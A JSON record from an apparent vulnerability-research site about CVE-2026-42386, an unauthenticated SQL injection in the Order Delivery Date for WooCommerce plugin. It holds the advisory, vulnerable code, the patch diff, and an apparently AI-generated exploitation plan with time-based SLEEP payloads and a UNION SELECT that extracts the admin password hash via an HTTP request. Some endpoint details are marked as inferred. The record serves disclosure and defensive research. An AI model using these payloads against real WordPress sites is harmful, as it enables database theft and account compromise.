[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fl_g5AeMguTLjgWny67LOsy4G4n0uQJHMMYqBQaWjeUY":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-42386","order-delivery-date-for-woocommerce-unauthenticated-sql-injection","Order Delivery Date for WooCommerce \u003C= 4.5.1 - Unauthenticated SQL Injection","The Order Delivery Date for WooCommerce plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.5.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","order-delivery-date-for-woocommerce",null,"\u003C=4.5.1","4.5.2","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-04-27 00:00:00","2026-04-30 14:34:54",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F4dd7d751-961a-4167-bb4a-2bcd66fc3c46?source=api-prod",4,[22,23,24,25,26],"changelog.txt","includes\u002Fsettings\u002Fclass-orddd-lite-delivery-calendar.php","js\u002Forddd-lite-view-calendar.js","order_delivery_date.php","readme.txt","researched",false,3,"# Exploitation Research Plan: CVE-2026-42386\n\n## 1. Vulnerability Summary\nThe **Order Delivery Date for WooCommerce** plugin (versions \u003C= 4.5.1) contains an unauthenticated SQL injection vulnerability in its Delivery Calendar JSON endpoint. The vulnerability exists because user-supplied parameters (specifically those used to filter or define the date range for calendar events) are concatenated directly into SQL queries without proper sanitization or parameterization using `$wpdb->prepare()`. \n\nThe patched version (4.5.2) addresses this by implementing `$wpdb->prepare()` for all dynamic queries in the `Orddd_Lite_Delivery_Calendar_Event_JSON` class (found in `includes\u002Fsettings\u002Fclass-delivery-calendar-event-json.php`).\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `wp-admin\u002Fadmin-ajax.php`\n- **Action**: `orddd_calendar_delivery_data` (Inferred from the \"Delivery Calendar JSON endpoint\" description and plugin history).\n- **Vulnerable Parameters**: `orderStatus`, `orderShipping`, `start`, `end`.\n- **Authentication**: Unauthenticated (`wp_ajax_nopriv_orddd_calendar_delivery_data`).\n- **Preconditions**: The plugin must be active. While the calendar is primarily an admin feature, the `nopriv` registration allows any user to trigger the data-fetching logic.\n\n## 3. Code Flow\n1. **Entry Point**: A request is made to `admin-ajax.php` with the action `orddd_calendar_delivery_data`.\n2. **Hook**: WordPress triggers `wp_ajax_nopriv_orddd_calendar_delivery_data` which calls the handler in `includes\u002Fsettings\u002Fclass-delivery-calendar-event-json.php`.\n3. **Parameter Extraction**: The handler extracts filters from `$_GET` or `$_REQUEST`, including `orderStatus` (status filter), `start` (start date), and `end` (end date).\n4. **Query Construction**: The plugin constructs a SQL query to fetch orders\u002Fdeliveries. \n   - Example (Inferred): `SELECT ... FROM {$wpdb->prefix}posts WHERE post_type = 'shop_order' AND post_status IN ('\" . $_GET['orderStatus'] . \"') ...`\n5. **Sink**: The unsanitized string is passed to `$wpdb->get_results()`, leading to SQL injection.\n\n## 4. Nonce Acquisition Strategy\nThe AJAX handler for the JSON endpoint may check for a nonce. Based on `includes\u002Fsettings\u002Fclass-orddd-lite-delivery-calendar.php` (line 41), the nonce action used for calendar events is `orddd-delivery-calendar-event-json`.\n\n### Strategy:\n1. **Identify Script Localization**: The plugin localizes the nonce in the `orddd_calendar_js` object via `wp_localize_script` during the `admin_enqueue_scripts` hook or when the checkout block is rendered.\n2. **Trigger Script Loading**: Create a page with the Order Delivery Date functionality (e.g., the checkout page or the backend calendar page).\n3. **Extraction**:\n   - Create a test page: `wp post create --post_type=page --post_title=\"Calendar Test\" --post_status=publish --post_content='[woocommerce_checkout]'`\n   - Navigate to the page: `browser_navigate(\"http:\u002F\u002Flocalhost:8080\u002Fcalendar-test\")`\n   - Extract the nonce: `browser_eval(\"window.orddd_calendar_js?.orddd_delivery_calendar_nonce\")` or `browser_eval(\"window.orddd_calendar_js?.pluginurl\")` to find the full endpoint.\n   - Note: If `pluginurl` is visible, it often contains the full AJAX URL with the nonce already appended as a `security` parameter.\n\n## 5. Exploitation Strategy\nWe will use a time-based blind SQL injection to confirm the vulnerability.\n\n### Step 1: Discover the Endpoint\nVerify if the `orddd_calendar_delivery_data` action exists and requires a nonce.\n- **Request**:\n  - **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php?action=orddd_calendar_delivery_data`\n  - **Method**: GET\n- **Observation**: If it returns `[]` or data, it is unauthenticated and lacks nonce protection. If it returns `-1` or `0`, a nonce is required.\n\n### Step 2: Time-Based Payload (orderStatus)\nInject a sleep command via the `orderStatus` parameter.\n- **Payload**: `wc-completed') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`\n- **Request**:\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nHost: localhost:8080\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=orddd_calendar_delivery_data&orderStatus=wc-completed') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -&start=2024-01-01&end=2026-12-31\n```\n*Note: If a nonce is required, append `&security=[NONCE]` to the body.*\n\n### Step 3: Data Extraction (UNION-based)\nIf output is reflected in the JSON, use a UNION select to extract the admin password hash.\n- **Payload**: `wc-completed') UNION SELECT 1,2,3,user_pass,5,6,7 FROM wp_users WHERE ID=1-- -` (Column count must be adjusted based on the specific query).\n\n## 6. Test Data Setup\n1. **Activate Plugin**: Ensure `order-delivery-date-for-woocommerce` is active.\n2. **Enable Delivery**: Go to `WooCommerce -> Settings -> Order Delivery Date` and ensure \"Enable Delivery Date\" is checked.\n3. **Create Order**: Create at least one WooCommerce order with a delivery date to ensure the calendar query path is exercised.\n   ```bash\n   wp eval \"Orddd_Lite_Common::orddd_lite_update_order_meta( $ORDER_ID, '2026-05-20', '0000-00-00' );\"\n   ```\n\n## 7. Expected Results\n- **Success**: The HTTP response for the payload in Step 2 takes approximately 5 seconds longer than a standard request.\n- **Data Leak**: If UNION-based, the JSON response will contain the `user_pass` hash in one of the event fields (e.g., in the `title` or `description` of a calendar event).\n\n## 8. Verification Steps\n1. **Check Logs**: If `WP_DEBUG` is on, the query failure or the injected query will appear in `wp-content\u002Fdebug.log`.\n2. **Database State**: Use `wp db query \"SELECT ...\"` to verify that the query structure we are targeting matches the actual plugin table structure.\n\n## 9. Alternative Approaches\nIf `orderStatus` is not vulnerable, test the `start` and `end` parameters. FullCalendar usually sends these as strings.\n- **Start Payload**: `2024-01-01' AND (SELECT 42 FROM (SELECT(SLEEP(5)))b) AND '1'='1`\n- **End Payload**: `2026-12-31' AND (SELECT 42 FROM (SELECT(SLEEP(5)))b) AND '1'='1`\n\nIf the `nopriv` action name differs, check `order_delivery_date.php` for `add_action` calls involving \"calendar\" or \"json\". Specifically, look for the handler defined in `includes\u002Fsettings\u002Fclass-delivery-calendar-event-json.php`.","The Order Delivery Date for WooCommerce plugin is vulnerable to unauthenticated SQL Injection via the Delivery Calendar JSON endpoint. Due to insufficient sanitization and the lack of parameterization using $wpdb->prepare(), attackers can inject malicious SQL commands into queries that filter orders by status or date range.","\u002F\u002F includes\u002Fsettings\u002Fclass-orddd-lite-delivery-calendar.php line 356\n$orddd_query = \"SELECT DISTINCT wp.{$id}, {$post_status}, wpm1.meta_value AS orddd_timestamp , wpm2.meta_value AS delivery_date , wpm3.meta_value AS time_slot\n    FROM `\" . $wpdb->prefix . \"$order_table` wp\n    INNER JOIN `\" . $wpdb->prefix . \"$order_meta_table` wpm1 ON ( wp.{$id} = wpm1.{$post_id} AND wpm1.meta_key ='\" . $order_timestamp_key . \"' )\n    LEFT JOIN `\" . $wpdb->prefix . \"$order_meta_table` wpm2 ON ( wp.{$id} = wpm2.{$post_id} AND ( wpm2.meta_key ='\" . $orddd_delivery_date_key . \"' ) )\n    LEFT JOIN `\" . $wpdb->prefix . \"$order_meta_table` wpm3 ON ( wp.{$id} = wpm3.{$post_id} AND wpm3.meta_key ='_orddd_time_slot' ) \";\n\n    $orddd_query = apply_filters( 'orddd_lite_calendar_join_filter', $orddd_query );\n\n    $orddd_query .= \"WHERE $post_type = 'shop_order' AND $post_status IN ( '\" . implode( \"','\", $order_status ) . \"')\n    AND \n    (\n    ( wpm1.meta_key = '\" . $order_timestamp_key . \"' AND wpm1.meta_value >= '\" . $event_start_timestamp . \"' AND wpm1.meta_value \u003C= '\" . $event_end_timestamp . \"' ) OR \n    ( wpm2.meta_key = '\" . $delivery_date_field_label . \"' AND STR_TO_DATE( wpm2.meta_value, '\" . $date_str . \"' ) >= '\" . $event_start . \"' AND STR_TO_DATE( wpm2.meta_value, '\" . $date_str . \"' ) \u003C= '\" . $event_end . \"' )\n    OR ( wpm2.meta_key = '\" . $delivery_date_field_label . \"' AND STR_TO_DATE( wpm2.meta_value, '\" . $date_str . \"' ) >= '\" . $event_start . \"' AND STR_TO_DATE( wpm2.meta_value, '\" . $date_str . \"' ) \u003C= '\" . $event_end . \"' ) \n    OR ( wpm2.meta_key = '\" . $orddd_delivery_date_key . \"' AND STR_TO_DATE( wpm2.meta_value, '\" . $date_str . \"' ) >= '\" . $event_start . \"' AND STR_TO_DATE( wpm2.meta_value, '\" . $date_str . \"' ) \u003C= '\" . $event_end . \"' )\n    )\";\n\n    $orddd_query = apply_filters( 'orddd_lite_calendar_where_filter', $orddd_query );\n    $results     = $wpdb->get_results( $orddd_query );","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Forder-delivery-date-for-woocommerce\u002F4.5.1\u002Fincludes\u002Fsettings\u002Fclass-orddd-lite-delivery-calendar.php\t2026-02-10 10:00:18.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Forder-delivery-date-for-woocommerce\u002F4.5.2\u002Fincludes\u002Fsettings\u002Fclass-orddd-lite-delivery-calendar.php\t2026-04-17 10:09:24.000000000 +0000\n@@ -356,25 +384,65 @@\n \t\t\t$id               = 'id';\n \t\t}\n \n-\t\t$orddd_query = \"SELECT DISTINCT wp.{$id}, {$post_status}, wpm1.meta_value AS orddd_timestamp , wpm2.meta_value AS delivery_date , wpm3.meta_value AS time_slot\n-\t\t\tFROM `\" . $wpdb->prefix . \"$order_table` wp\n-\t\t\tINNER JOIN `\" . $wpdb->prefix . \"$order_meta_table` wpm1 ON ( wp.{$id} = wpm1.{$post_id} AND wpm1.meta_key ='\" . $order_timestamp_key . \"' )\n-\t\t\tLEFT JOIN `\" . $wpdb->prefix . \"$order_meta_table` wpm2 ON ( wp.{$id} = wpm2.{$post_id} AND ( wpm2.meta_key ='\" . $orddd_delivery_date_key . \"' ) )\n-\t\t\tLEFT JOIN `\" . $wpdb->prefix . \"$order_meta_table` wpm3 ON ( wp.{$id} = wpm3.{$post_id} AND wpm3.meta_key ='_orddd_time_slot' ) \";\n-\n-\t\t\t$orddd_query = apply_filters( 'orddd_lite_calendar_join_filter', $orddd_query );\n-\n-\t\t\t$orddd_query .= \"WHERE $post_type = 'shop_order' AND $post_status IN ( '\" . implode( \"','\", $order_status ) . \"')\n-\t\t\tAND \n-\t\t\t(\n-\t\t\t( wpm1.meta_key = '\" . $order_timestamp_key . \"' AND wpm1.meta_value >= '\" . $event_start_timestamp . \"' AND wpm1.meta_value \u003C= '\" . $event_end_timestamp . \"' ) OR \n-\t\t\t( wpm2.meta_key = '\" . $delivery_date_field_label . \"' AND STR_TO_DATE( wpm2.meta_value, '\" . $date_str . \"' ) >= '\" . $event_start . \"' AND STR_TO_DATE( wpm2.meta_value, '\" . $date_str . \"' ) \u003C= '\" . $event_end . \"' )\n-\t\t\tOR ( wpm2.meta_key = '\" . $delivery_date_field_label . \"' AND STR_TO_DATE( wpm2.meta_value, '\" . $date_str . \"' ) >= '\" . $event_start . \"' AND STR_TO_DATE( wpm2.meta_value, '\" . $date_str . \"' ) \u003C= '\" . $event_end . \"' ) \n-\t\t\tOR ( wpm2.meta_key = '\" . $orddd_delivery_date_key . \"' AND STR_TO_DATE( wpm2.meta_value, '\" . $date_str . \"' ) >= '\" . $event_start . \"' AND STR_TO_DATE( wpm2.meta_value, '\" . $date_str . \"' ) \u003C= '\" . $event_end . \"' ) \n-\t\t\t)\";\n+\t\t$order_status = array_map( 'sanitize_text_field', (array) $order_status );\n+\t\t$order_status = array_filter( $order_status );\n+\n+\t\tif ( empty( $order_status ) ) {\n+\t\t\treturn array();\n+\t\t}\n+\n+\t\t$status_placeholders = implode( ',', array_fill( 0, count( $order_status ), '%s' ) );\n+\n+\t\t$event_start = ! empty( $event_start ) ? date( 'Y-m-d', strtotime( $event_start ) ) : '';\n+\t\t$event_end   = ! empty( $event_end ) ? date( 'Y-m-d', strtotime( $event_end ) ) : '';\n+\n+\t\t$event_start_timestamp = ! empty( $event_start_timestamp ) ? intval( $event_start_timestamp ) : 0;\n+\t\t$event_end_timestamp   = ! empty( $event_end_timestamp ) ? intval( $event_end_timestamp ) : 0;\n+\n+\t\t$query = \"\n+\t\t\tSELECT DISTINCT wp.{$id}, {$post_status}, \n+\t\t\t\twpm1.meta_value AS orddd_timestamp, \n+\t\t\t\twpm2.meta_value AS delivery_date, \n+\t\t\t\twpm3.meta_value AS time_slot\n+\t\t\tFROM `{$wpdb->prefix}{$order_table}` wp\n+\t\t\tINNER JOIN `{$wpdb->prefix}{$order_meta_table}` wpm1 \n+\t\t\t\tON ( wp.{$id} = wpm1.{$post_id} AND wpm1.meta_key = %s )\n+\t\t\tLEFT JOIN `{$wpdb->prefix}{$order_meta_table}` wpm2 \n+\t\t\t\tON ( wp.{$id} = wpm2.{$post_id} AND wpm2.meta_key = %s )\n+\t\t\tLEFT JOIN `{$wpdb->prefix}{$order_meta_table}` wpm3 \n+\t\t\t\tON ( wp.{$id} = wpm3.{$post_id} AND wpm3.meta_key = %s )\n+\t\t\tWHERE {$post_type} = %s\n+\t\t\tAND {$post_status} IN ($status_placeholders)\n+\t\t\tAND (\n+\t\t\t\t( wpm1.meta_value >= %d AND wpm1.meta_value \u003C= %d )\n+\t\t\t\tOR\n+\t\t\t\t( STR_TO_DATE( wpm2.meta_value, %s ) >= %s \n+\t\t\t\t  AND STR_TO_DATE( wpm2.meta_value, %s ) \u003C= %s )\n+\t\t\t)\n+\t\t\";\n+\n+\t\t\u002F\u002F Prepare values.\n+\t\t$query_args = array_merge(\n+\t\t\tarray(\n+\t\t\t\t$order_timestamp_key,\n+\t\t\t\t$orddd_delivery_date_key,\n+\t\t\t\t'_orddd_time_slot',\n+\t\t\t\t'shop_order',\n+\t\t\t),\n+\t\t\t$order_status,\n+\t\t\tarray(\n+\t\t\t\t$event_start_timestamp,\n+\t\t\t\t$event_end_timestamp,\n+\t\t\t\t$date_str,\n+\t\t\t\t$event_start,\n+\t\t\t\t$date_str,\n+\t\t\t\t$event_end,\n+\t\t\t)\n+\t\t);\n \n-\t\t\t$orddd_query = apply_filters( 'orddd_lite_calendar_where_filter', $orddd_query );\n-\t\t\t$results     = $wpdb->get_results( $orddd_query );\u002F\u002F nosemgrep:audit.php.wp.security.sqli.input-in-sinks\n+\t\t$prepared_query = $wpdb->prepare( $query, $query_args );\n+\t\t$prepared_query = apply_filters( 'orddd_lite_calendar_where_filter', $prepared_query );\n+\t\t$results        = $wpdb->get_results( $prepared_query );","The exploit targets the unauthenticated AJAX action `orddd_calendar_delivery_data` (or related delivery calendar JSON endpoints). An attacker can provide a malicious payload via the `orderStatus` GET or POST parameter. Because the plugin uses `implode(\"','\", $order_status)` to construct an `IN` clause and directly concatenates the result into a SQL string, an attacker can break out of the string literal using a closing quote and parenthesis (e.g., `wc-completed')`). From there, they can append arbitrary SQL clauses, such as an `OR` condition combined with a `SLEEP()` command for time-based blind injection, or `UNION SELECT` to extract data from the `wp_users` table.","gemini-3-flash-preview","2026-05-04 18:19:39","2026-05-04 18:20:18",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","4.5.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Forder-delivery-date-for-woocommerce\u002Ftags\u002F4.5.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Forder-delivery-date-for-woocommerce.4.5.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Forder-delivery-date-for-woocommerce\u002Ftags\u002F4.5.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Forder-delivery-date-for-woocommerce.4.5.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Forder-delivery-date-for-woocommerce\u002Ftags"]